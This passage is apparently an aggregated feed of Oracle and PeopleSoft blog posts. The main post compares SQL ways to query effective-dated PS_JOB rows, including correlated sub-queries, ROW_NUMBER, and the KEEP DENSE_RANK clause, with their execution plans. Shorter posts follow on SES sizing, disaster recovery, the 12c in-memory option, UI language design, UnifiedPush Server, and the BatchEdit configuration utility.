KF0018 0 22-JAN-96 0 PAY 13000 FRF 318,575
KF0018 0 01-JAN-98 0 PAY 13000 FRF 346,156
KF0018 0 01-JAN-00 0 DTA 13000 FRF 346,156
KF0018 0 01-JAN-02 0 PAY 13000 EUR 52,771
KF0018 1 01-NOV-89 0 ASG 21300 GBP 22,440
KF0018 1 31-DEC-93 0 ASC 21300 GBP 22,440
KF0018 1 01-JAN-94 0 ASG 12000 GBP 22,440 *
KF0018 1 31-DEC-95 0 ASC 10000 GBP 22,440

I will set statistics level to ALL so I can obtain detailed information about how the SQL statements execute:
ALTER SESSION SET statistics_level = ALL;

I extracted the execution plans and execution statistics with the following command
select * from table(dbms_xplan.display_cursor(null,null,'IOSTATS')) 
Typical PeopleSoft Platform Agnostic ConstructionThis is the usual way to construct the query in PeopleSoft. It is also valid on all databases platforms supported by PeopleSoft, not just Oracle. 
SELECT  emplid, empl_rcd, effdt, effseq, action, deptid, currency_cd, annual_rt
FROM ps_job j
WHERE j.effdt = (
SELECT MAX (j1.effdt) FROM ps_job j1
WHERE j1.emplid = j.emplid
AND j1.empl_rcd = j.empl_rcd
AND j1.effdt <= TO_DATE('19950211','YYYYMMDD'))
AND j.effseq = (
SELECT MAX (j2.effseq) FROM ps_job j2
WHERE j2.emplid = j.emplid
AND j2.empl_rcd = j.empl_rcd
AND j2.effdt = j.effdt)
AND j.emplid = 'KF0018'
ORDER BY 1,2,3,4
/

EMPLID        EMPL_RCD EFFDT         EFFSEQ ACT DEPTID     CUR ANNUAL_RT
----------- ---------- --------- ---------- --- ---------- --- ---------
KF0018 0 22-JAN-95 1 PAY 13000 FRF 294,239
KF0018 1 01-JAN-94 0 ASG 12000 GBP 22,440

This required three access of indexes on the PS_JOB table, and two accesses of the table, using 26 consistent reads.
Plan hash value: 2299825310
----------------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Starts | E-Rows | A-Rows | A-Time | Buffers | Reads |
----------------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | | 2 |00:00:00.01 | 26 | 2 |
| 1 | SORT ORDER BY | | 1 | 1 | 2 |00:00:00.01 | 26 | 2 |
| 2 | NESTED LOOPS | | 1 | 1 | 2 |00:00:00.01 | 26 | 2 |
| 3 | NESTED LOOPS | | 1 | 1 | 3 |00:00:00.01 | 21 | 2 |
| 4 | VIEW | VW_SQ_1 | 1 | 1 | 2 |00:00:00.01 | 14 | 2 |
|* 5 | FILTER | | 1 | | 2 |00:00:00.01 | 14 | 2 |
| 6 | HASH GROUP BY | | 1 | 1 | 2 |00:00:00.01 | 14 | 2 |
| 7 | TABLE ACCESS BY INDEX ROWID| PS_JOB | 1 | 1 | 12 |00:00:00.01 | 14 | 2 |
|* 8 | INDEX RANGE SCAN | PS_JOB | 1 | 1 | 12 |00:00:00.01 | 2 | 2 |
| 9 | TABLE ACCESS BY INDEX ROWID | PS_JOB | 2 | 1 | 3 |00:00:00.01 | 7 | 0 |
|* 10 | INDEX RANGE SCAN | PSAJOB | 2 | 1 | 3 |00:00:00.01 | 4 | 0 |
|* 11 | VIEW PUSHED PREDICATE | VW_SQ_2 | 3 | 1 | 2 |00:00:00.01 | 5 | 0 |
|* 12 | FILTER | | 3 | | 3 |00:00:00.01 | 5 | 0 |
| 13 | SORT AGGREGATE | | 3 | 1 | 3 |00:00:00.01 | 5 | 0 |
|* 14 | FILTER | | 3 | | 5 |00:00:00.01 | 5 | 0 |
|* 15 | INDEX RANGE SCAN | PSAJOB | 3 | 1 | 5 |00:00:00.01 | 5 | 0 |
----------------------------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

5 - filter("J1"."EMPLID"='KF0018')
8 - access("J1"."EMPLID"='KF0018' AND "J1"."SYS_NC00164$">=HEXTORAW('883CFDF4FEF8FEFAFF') )
filter(SYS_OP_UNDESCEND("J1"."SYS_NC00164$")<=TO_DATE(' 1995-02-11 00:00:00', 'syyyy-mm-dd
hh24:mi:ss'))
10 - access("J"."EMPLID"='KF0018' AND "ITEM_2"="J"."EMPL_RCD" AND
"J"."SYS_NC00164$"=SYS_OP_DESCEND("MAX(J1.EFFDT)"))
filter(SYS_OP_UNDESCEND("J"."SYS_NC00164$")="MAX(J1.EFFDT)")
11 - filter(SYS_OP_UNDESCEND("J"."SYS_NC00165$")="MAX(J2.EFFSEQ)")
12 - filter(COUNT(*)>0)
14 - filter('KF0018'="J"."EMPLID")
15 - access("J2"."EMPLID"='KF0018' AND "J2"."EMPL_RCD"="J"."EMPL_RCD" AND
"J2"."SYS_NC00164$"=SYS_OP_DESCEND(SYS_OP_UNDESCEND("J"."SYS_NC00164$")))
filter(SYS_OP_UNDESCEND("J2"."SYS_NC00164$")=SYS_OP_UNDESCEND("J"."SYS_NC00164$"))

This construction is also the reason you are required to set
_UNNEST_SUBQUERY=FALSE
on all PeopleSoft systems
Analytic Function and In-LineView/Sub-query FactorI have seen people use a combination of analytic functions and in-line views to avoid having to use the correlated sub-query construction. This has been possible since Oracle 9i.
WITH X AS (
SELECT emplid, empl_rcd, effdt, effseq, action, deptid, currency_cd, annual_rt
, ROW_NUMBER() OVER (PARTITION BY emplid, empl_rcd 
ORDER BY effdt DESC, effseq DESC) myrowseq
FROM ps_job j
WHERE j.effdt <= TO_DATE('19950211','YYYYMMDD')
AND j.emplid = 'KF0018'
)
SELECT emplid, empl_rcd, effdt, effseq, action, deptid, currency_cd, annual_rt
FROM x
WHERE myrowseq = 1
ORDER BY 1,2,3,4
/

EMPLID        EMPL_RCD EFFDT         EFFSEQ ACT DEPTID     CUR ANNUAL_RT
----------- ---------- --------- ---------- --- ---------- --- ---------
KF0018 0 22-JAN-95 1 PAY 13000 FRF 294,239
KF0018 1 01-JAN-94 0 ASG 12000 GBP 22,440

We get the same result, but now the index is scanned just once and we only need 14 consistent reads, so it produces a significant improvement. However, it still includes a sort operation in addition to the window function. We have to create a sequence number field in the in-line view and filter by that in the final query.
Plan hash value: 1316906785
---------------------------------------------------------------------------------------------------
| Id | Operation | Name | Starts | E-Rows | A-Rows | A-Time | Buffers |
---------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | | 2 |00:00:00.01 | 14 |
| 1 | SORT ORDER BY | | 1 | 1 | 2 |00:00:00.01 | 14 |
|* 2 | VIEW | | 1 | 1 | 2 |00:00:00.01 | 14 |
|* 3 | WINDOW NOSORT | | 1 | 1 | 12 |00:00:00.01 | 14 |
| 4 | TABLE ACCESS BY INDEX ROWID| PS_JOB | 1 | 1 | 12 |00:00:00.01 | 14 |
|* 5 | INDEX RANGE SCAN | PSAJOB | 1 | 1 | 12 |00:00:00.01 | 2 |
---------------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

2 - filter("MYROWSEQ"=1)
3 - filter(ROW_NUMBER() OVER ( PARTITION BY "EMPLID","EMPL_RCD" ORDER BY
"J"."SYS_NC00164$","J"."SYS_NC00165$")<=1)
5 - access("J"."EMPLID"='KF0018' AND "J"."SYS_NC00164$">=HEXTORAW('883CFDF4FEF8FEFAFF')
)
filter(SYS_OP_UNDESCEND("J"."SYS_NC00164$")<=TO_DATE(' 1995-02-11 00:00:00',
'syyyy-mm-dd hh24:mi:ss'))

Analytic Function Keep Clause This form of the analytic functions is documented for the first time in 12c, but is available in 10g (my thanks to Tony Hasler for introducing me to it). It works by effectively keeping a running maximum value of the columns in the order by clause within in group.
SELECT emplid, empl_rcd
, MAX(effdt) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS effdt
, MAX(effseq) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS effseq
, MAX(action) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS action
, MAX(deptid) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS deptid
, MAX(currency_cd) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS currency_cd
, MAX(annual_rt) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS annual_rt
FROM ps_job j
WHERE j.effdt <= TO_DATE('19950211','YYYYMMDD')
AND j.emplid = 'KF0018'
GROUP BY emplid, empl_rcd
/

EMPLID        EMPL_RCD EFFDT         EFFSEQ ACT DEPTID     CUR ANNUAL_RT
----------- ---------- --------- ---------- --- ---------- --- ---------
KF0018 0 22-JAN-95 1 PAY 13000 FRF 294,239
KF0018 1 01-JAN-94 0 ASG 12000 GBP 22,440

Although this construction uses an additional consistent read, it has the advantage of not using either an inline view or a window function and does not sort the data.
Plan hash value: 1550496807
-------------------------------------------------------------------------------------------------
| Id | Operation | Name | Starts | E-Rows | A-Rows | A-Time | Buffers |
-------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | | 2 |00:00:00.01 | 15 |
| 1 | SORT GROUP BY NOSORT | | 1 | 1 | 2 |00:00:00.01 | 15 |
| 2 | TABLE ACCESS BY INDEX ROWID| PS_JOB | 1 | 1 | 12 |00:00:00.01 | 15 |
|* 3 | INDEX RANGE SCAN | PS_JOB | 1 | 1 | 12 |00:00:00.01 | 3 |
-------------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

3 - access("J"."EMPLID"='KF0018' AND "J"."SYS_NC00164$">=HEXTORAW('883CFDF3FEF8FEFAFF'
) )
filter(SYS_OP_UNDESCEND("J"."SYS_NC00164$")<=TO_DATE(' 1995-02-12 00:00:00',
'syyyy-mm-dd hh24:mi:ss'))

I think this construction could be useful in PeopleSoft.  At first glance the SQL appears more complicated, but it in this example it removed two correlated sub-queries. 
Using Analytic Functions in PS/QueryOf course you can code it anywhere where you can simply enter SQL as text.  However, it also has the advantage over the other analytic function construction that it can be coded in the PS/Query tool.  The analytic functions in the select caluse should be created in PS/Query expressions with the aggregate expression checkbox ticked.
Analytic 'Keep' function in PS/Query Aggregate ExpressionAnalytic Function in Aggregated Expression in Windows Client version of PS/Query  The analytic functions can be selected in the PS/Query, and their lengths and titles can be tidied up.
Analytic PS/QueryPS/Query with Analytic 'Keep' Functions
This is the resulting SQL which is the same as before (with row level security added by PS/Query) and produces the same results.
SELECT A.EMPLID, A.EMPL_RCD, MAX(effdt) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq)
, MAX(effseq) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq), MAX(action) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq), MAX(deptid) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq), MAX(currency_cd) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq), MAX(annual_rt) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq)
FROM PS_JOB A, PS_EMPLMT_SRCH_QRY A1
WHERE ( A.EMPLID = A1.EMPLID
AND A.EMPL_RCD = A1.EMPL_RCD
AND A1.OPRID = 'PS'
AND ( A.EFFDT <= TO_DATE('1995-02-11','YYYY-MM-DD')
AND A.EMPLID = 'KF0018' ) )
GROUP BY A.EMPLID, A.EMPL_RCD
©David Kurtz, Go-Faster Consultancy Ltd.

Oracle Secure Enterprise Search Deployment Considerations for PeopleSoft 9.2

PeopleSoft Technology Blog - Wed, 2014-07-09 10:16

Oracle Secure Enterprise Search (SES) is the search engine on which the PeopleSoft Search Framework relies. Here is a comprehensive set of resources on My Oracle Support that provide information on the essential hardware for Oracle SES to help ensure capacity for peak concurrent usage of your PeopleSoft 9.2 environment. When planning your PeopleSoft 9.2 installation, follow these recommendations to insure the best possible performance and stability for your PeopleSoft environment.


Hurricane season: The need for disaster recovery

Chris Foot - Wed, 2014-07-09 07:42

As hurricane season gets longer and businesses grow more reliant on technology, having a smart disaster recovery plan in place is essential. A major part of maintaining database security involves ensuring that the system can be rebooted or accessed in the event of a major power outage. 

Not prepared 
Eric Webster, a contributor to Channel Partners Online, referenced a survey of 600 small and medium-sized businesses conducted by Alibaba.com, Vendio, and Auctiva in 2013, noting that 74 percent of respondents have no DR/business continuity plan in place. Another 71 percent of SMBs lack a backup generator to keep the data center running. 

Essentially, this means that a large number of enterprises won't be able to conduct any activities in the event their operations shut down. Because technology is so heavily integrated into day-to-day workflows, professionals don't realize how mission critical databases are until they can't be accessed anymore. 

Battening down the hatches 
So, what can be done to prepare for a data center outage? TechRadar noted that implementing a DR/BC strategy involves a step-by-step process:

  1. If working with a cloud services provider, partner with a company known for building accessible, recoverable infrastructures.
  2. Set up data centers in easily reachable, strategically placed locations to exercise a low risk of failure.
  3. Figure out whether a dedicated communications link or a virtual private network is the best way to connect with databases.
  4. Regularly conduct tests on the system, which should be measured by performance and task completion. 

Outsourcing responsibility 
Webster acknowledged the benefits of hiring a remote database support service to initiate DR/BC tests, manage and organize recovery strategies and monitor databases 24/7/365. 

The key advantage of outsourcing to a managed services provider is that in the event a major storm is forecasted, database administrators can quickly implement backup strategies so that applications, stored information and platforms aren't lost. 

Another "aaS" 
With DBAs in mind, it's important to acknowledge that many such professionals now offer Recovery-as-a-Service, working with cloud environments to launch and maintain DR/BC. Webster outlined how this process works:

  • An enterprise's tangible and/or virtual databases deliver images of their environments to the cloud on a regular basis
  • If a super storm shuts down a data center, its virtual version can be maintained by and accessed through the cloud environment. 

Webster acknowledged that this service model is more affordable than conventional DR/BC strategies. Recovery can occur more quickly and separate hard disks containing data identical to the information in on-premise servers don't need to be used. 

The post Hurricane season: The need for disaster recovery appeared first on Remote DBA Experts.

in memory option

Laurent Schneider - Wed, 2014-07-09 05:12

Oracle 12cR1 patchset 1 is due this month and there is a new parameter that you can set to boost your performance. It is a bit of a SET "_FAST"=true parameter.

The in memory parameter is part of the sga. It is not mandatory to size it correctly, even if you do not have enough memory to hold your complete database, you can still play around with this parameter.

In a way, alter table t inmemory reminds me to the Oracle 8i alter table t cache and the Oracle 9i alter table t storage (buffer_pool keep).

But it is not free, I expect something close to the partitioning option, and it surely requires Enterprise Edition.

And also Oracle makes big noise about it, experts talk about a 1000x improvement, watch Database Industry Experts Discuss Oracle Database In-Memory.

The in memory cache is redundant with the database cache. It stores columns instead of blocks (or even results with the RESULT CACHE in 11g)

Don’t miss the Oracle Blog of @db_inmemory

Providing in-memory database is also positioning against HANA, a SAP in memory database. From OTN : Oracle Database In-Memory
Versus SAP HANA

A few years ago, Oracle acquired TimesTen. TimesTen is an in-memory database that works differently, where you can have fast response time (microseconds?) and could lose transactions (better faster than zero-data-loss). While TimesTen improves transaction speed, inMemory mostly improves queries (not writes).

Designing a Naturally Conversational User Experience for the User Interface

Usable Apps - Mon, 2014-07-07 14:03

By Georgia Price and Karen Scipi

Think about the software applications you like most. Why do you like them? How do they make you feel? What is your experience like when you use them? The most successful user interfaces—those that delight users—focus equally on the intersection of visual, interaction, and language design.

Visual and interaction design get a lot of play in the enterprise software development environment. Yet language design directly impacts a user’s ability to complete tasks. The use and arrangement of general words, specialized terms, and phrases on the UI promote a naturally conversational voice and tone and inform and induce user actions.

Simply put, the words, terms, and phrases that we promote on a UI either facilitate or hinder the user experience and either delight or frustrate the user.

As Oracle Applications User Experience language designers, we took this message on the road last month as featured speakers at the Society for Technical Communications Summit, where we presented two papers: Designing Effective User Interface Content and The Unadorned Truth About Terminology Management: Initiatives, Practices, and Melodrama.

Society for Technical Communication Summit logo

If attendance is any indication, our message resonated with many. More than 115 people gathered to hear us talk about how designing language for the UI is just as important when building effective, simplified user experiences as creating the right interactions and choosing the right images, icons, colors, and fonts. Dozens lined up after our talks to ask questions and to learn more, making us realize that many others who build software applications  are also grappling with how to design language to enable more simplified user experiences.

Perhaps we can pique your interest! Over the coming weeks, we'll share our thoughts and experiences on language design. Stay tuned to the Usable Apps blog to learn more about what language design is and how we use words, terms, and phrases, as well as voice and tone, to help build simplified user experiences and easy-to-understand UIs.

UnifiedPush Server 0.11 is out!

Matthias Wessendorf - Mon, 2014-07-07 03:07

Today we are extremely happy to announce an all new AeroGear UnifiedPush Server!

UnifiedPush Server

The UnifiedPush Server comes with a completely rewritten Angular.js based UI and is now powered by Keycloak! Thanks to the Keycloak team for the great work they delivered helping the AeroGear team to make the Keycloak integration happen.

Getting started

Getting started w/ the new server is still very simple:

  • Setup a database (here is an example for the H2 Database engine. Copy into $JBOSS/standalone/deployments)
  • Download the two WAR files (core and auth) and copy into $JBOSS/standalone/deployments
  • Start the JBoss server

The 0.11.0 release contains a lot of new features, here is a more detailed list:

  • Keycloak Integration for user management
  • Angular.js based AdminUI
  • Metrics and Dashboard for some Analytics around Push Messages
  • Code snippet UI now supports Swift
  • and a lot of fixes and other improvements! See JIRA for all the items

Besides the improvements on the server, we also have some Quickstarts to help you get going with the Push Server

Hello World

The HelloWorld is a set of simple clients that show how to register a device with the UnifiedPush Server. On the Admin UI of the server you can use the “Send Push” menu to send a message to the different applications, running on your phone.

Mobile Contacts Quickstart

The Mobile Contacts Quickstart is a Push-enabled CRUD example, containing several client applications (Android, Apache Corodva and iOS) and a JavaEE-based backend. The backend app is a secured (Picketlink) JAX-RS application which sends out push messages when a new contact has been created. Sometimes the backend (for a mobile application) has to run behind the firewall. For that the quickstart contains a Fabric8 based Proxy server as well.

Thanks again to the Keycloak team for their assistance.

Now, get your hands dirty and send some push messages! We hope you like the new server!

Next ?

We are now polishing the server for the 1.0.0 push release this summer. See the roadmap for details.


Introduction to BatchEdit

Anthony Shorten - Sun, 2014-07-06 21:14

BatchEdit is a new wizard style utility to help you build a batch architecture quickly with little fuss and technical knowledge. Customers familiar with the WLST tool that is shipped with Oracle WebLogic will recognize the style of utility I am talking about it. The idea behind BatchEdit is simple. It is there to provide a simpler method of configuring batch by boiling down the process to its simplest form. The power of the utility is the utility itself and the set of preoptimized templates shipped with the utility to generate as much of the configuration as possible but still have a flexible approach to configuration.

First of all, the BatchEdit utility, shipped with OUAF 4.2.0.2.0 and above, is disabled by default for backward compatibility. To enable it  you must execute the configureEnv[.sh] -a utility and in option 50 set the Enable Batch Edit Functionality to true and save the changes. The facility is now available to use.

Once enabled, the BatchEdit facility can be executed using the bedit[.sh] <options> utility where <options> are the options you want to use with the command. The most useful is the -h and --h which display the help for the command options and extended help. You will find lots of online help in the utility. Just typing help <topic> you will get an explanation and further advice on a specific topic.

The next step is using the utility. The best approach is to think of the configuration is various layers. The first layer is the cluster. The next layer is the definition of threadpools in that cluster and then the submitters (or jobs) that are submitted to those threadpools. Each of those layers has configuration files associated with them.

Concepts

Before understanding the utility, lets discuss a few basic concepts:

  • The BatchEdit allows for "labels" to be assigned to each layer. This means you can group like configured components together. For example, say you wanted to setup a specific threadpoolworker for a specific set of processes and that threadpoolworker had unique characteristics like unique JVM settings. You can create a label template for that set of jobs and dynamically build that. At runtime you would tell the threadpoolworker[.sh] command to use that template (using the -l option). For submitters the label is the Batch Code itself.
  • The BatchEdit will track if changes are made during a session. If you try and exit without saving a warning is displayed to remind you of unsaved changes. Customers of Oracle Enterprise Manager pack for Oracle Utilities will be able to track configuration file version changes within Oracle Enterprise Manager, if desired.
  • BatchEdit essentially edits existing configuration files (e.g. tangosol-coherence-override.xml for the cluster, threadpoolworker.properties for threadpoolworker etc). To ascertain what particular file is being configured during a session use the what command.
  • BatchEdit will only show the valid options for the scope of the command and the template used. This applies to the online help which is context sensitive.
Using the utility

The BatchEdit utility has two distinct modes to build and maintain various configuration files.

  • Initiation Mode - The first mode of the utility is to invoke the utility with the scope or configuration file to create and/or manage. This is done by specifying the valid options at the command line. This mode is recorded in a preferences file to remember specific settings across invocations. For example, once you decide which cluster type you want to adopt, the utility will remember this preference and show  the options for that preference only. It is possible to switch preferences by re-invoking the command with the appropriate options.
  • Edit Mode - Once you have invoked the command, a list of valid options are presented which can be altered using the set command. For example, the set port 42020 command will set the port parameter to 42020. You can add new sections using the add command, and so forth. Online help will show the valid commands. The most important is the save command which saves all changes.
Process for configuration

To use the command effectively here is a summary of the process you need to follow:

  • Decide your cluster type first. Oracle Utilities Application Framework supports, multi-cast, uni-cast and single server clusters. Use the bedit[.sh] -c [-t wka|mc|ss] command to set and manage the cluster parameters. For example:
$ bedit.sh -c
Editing file /oracle/FW42020/splapp/standalone/config/tangosol-coherence-override.xml using template /oracle/FW42020/etc/tangoso
l-
coherence-override.ss.be

Batch Configuration Editor 1.0 [tangosol-coherence-override.xml]
----------------------------------------------------------------

Current Settings

  cluster (DEMO_SPLADM)
  address (127.0.0.1)
  port (42020)
  loglevel (1)
  mode (dev)

> help loglevel

loglevel
--------
Specifies which logged messages will be output to the log destination.

Legal values are:

  0    - only output without a logging severity level specified will be logged
  1    - all the above plus errors
  2    - all the above plus warnings
  3    - all the above plus informational messages
  4-9  - all the above plus internal debugging messages (the higher the number, the more the messages)
  -1   - no messages

> set loglevel 2

Batch Configuration Editor 1.0 [tangosol-coherence-override.xml]
----------------------------------------------------------------

Current Settings

  cluster (DEMO_SPLADM)
  address (127.0.0.1)
  port (42020)
  loglevel (2)
  mode (dev)

> save
Changes saved
> exit
  • Setup your threadpoolworkers. For each group of threadpoolworkers use the bedit[.sh] -w [-l <label>] where <label> is the group name. We supply a default (no label) and cache threadpool templates. For example:
$ bedit.sh -w
Editing file /oracle/FW42020/splapp/standalone/config/threadpoolworker.properties using template /oracle/FW42020/etc/threadpoolw
orker.be

Batch Configuration Editor 1.0 [threadpoolworker.properties]
------------------------------------------------------------

Current Settings

  minheap (1024m)
  maxheap (1024m)
  maxperm (256m)
  daemon (true)
  rmiport (6510)
  dkidisabled (false)
  storage (true)
  distthds (4)
  invocthds (4)
  role (OUAF_Base_TPW)
  pool.1
      poolname (DEFAULT)
      threads (5)
  pool.2
      poolname (LOCAL)
      threads (0)

> set pool.2 poolname FRED

Batch Configuration Editor 1.0 [threadpoolworker.properties]
------------------------------------------------------------

Current Settings

  minheap (1024m)
  maxheap (1024m)
  maxperm (256m)
  daemon (true)
  rmiport (6510)
  dkidisabled (false)
  storage (true)
  distthds (4)
  invocthds (4)
  role (OUAF_Base_TPW)
  pool.1
      poolname (DEFAULT)
      threads (5)
  pool.2
      poolname (FRED)
      threads (0)

> add pool

Batch Configuration Editor 1.0 [threadpoolworker.properties]
------------------------------------------------------------

Current Settings

  minheap (1024m)
  maxheap (1024m)
  maxperm (256m)
  daemon (true)
  rmiport (6510)
  dkidisabled (false)
  storage (true)
  distthds (4)
  invocthds (4)
  role (OUAF_Base_TPW)
  pool.1
      poolname (DEFAULT)
      threads (5)
  pool.2
      poolname (FRED)
      threads (0)
  pool.3
      poolname (DEFAULT)
      threads (5)

> set pool.3 poolname LOCAL

Batch Configuration Editor 1.0 [threadpoolworker.properties]
------------------------------------------------------------

Current Settings

  minheap (1024m)
  maxheap (1024m)
  maxperm (256m)
  daemon (true)
  rmiport (6510)
  dkidisabled (false)
  storage (true)
  distthds (4)
  invocthds (4)
  role (OUAF_Base_TPW)
  pool.1
      poolname (DEFAULT)
      threads (5)
  pool.2
      poolname (FRED)
      threads (0)
  pool.3
      poolname (LOCAL)
      threads (5)

> set pool.3 threads 0

Batch Configuration Editor 1.0 [threadpoolworker.properties]
------------------------------------------------------------

Current Settings

  minheap (1024m)
  maxheap (1024m)
  maxperm (256m)
  daemon (true)
  rmiport (6510)
  dkidisabled (false)
  storage (true)
  distthds (4)
  invocthds (4)
  role (OUAF_Base_TPW)
  pool.1
      poolname (DEFAULT)
      threads (5)
  pool.2
      poolname (FRED)
      threads (0)
  pool.3
      poolname (LOCAL)
      threads (0)

>
  • Setup your global submitter settings using the bedit[.sh] -s command or batch job specific settings using the bedit[.sh] -b <batchcode> command where <batchcode> is the Batch Control Id for the job. For example:
$ bedit.sh -b F1-LDAP
File /oracle/FW42020/splapp/standalone/config/job.F1-LDAP.properties does not exist - create? (y/n) y
Editing file /oracle/FW42020/splapp/standalone/config/job.F1-LDAP.properties using template /oracle/FW42020/etc/job.be

Batch Configuration Editor 1.0 [job.F1-LDAP.properties]
-------------------------------------------------------

Current Settings

  poolname (DEFAULT)
  threads (1)
  commit (10)
  user (SYSUSER)
  lang (ENG)
  soft.1
      parm (maxErrors)
      value (500)
>

The BatchEdit facility is an easier way of creating and maintaining the configuration files with little bit of effort. For more examples and how to migrate to this new facility is documented in the Batch Best Practices for Oracle Utilities Application Framework based products (Doc Id: 836362.1) whitepaper available from My Oracle Support.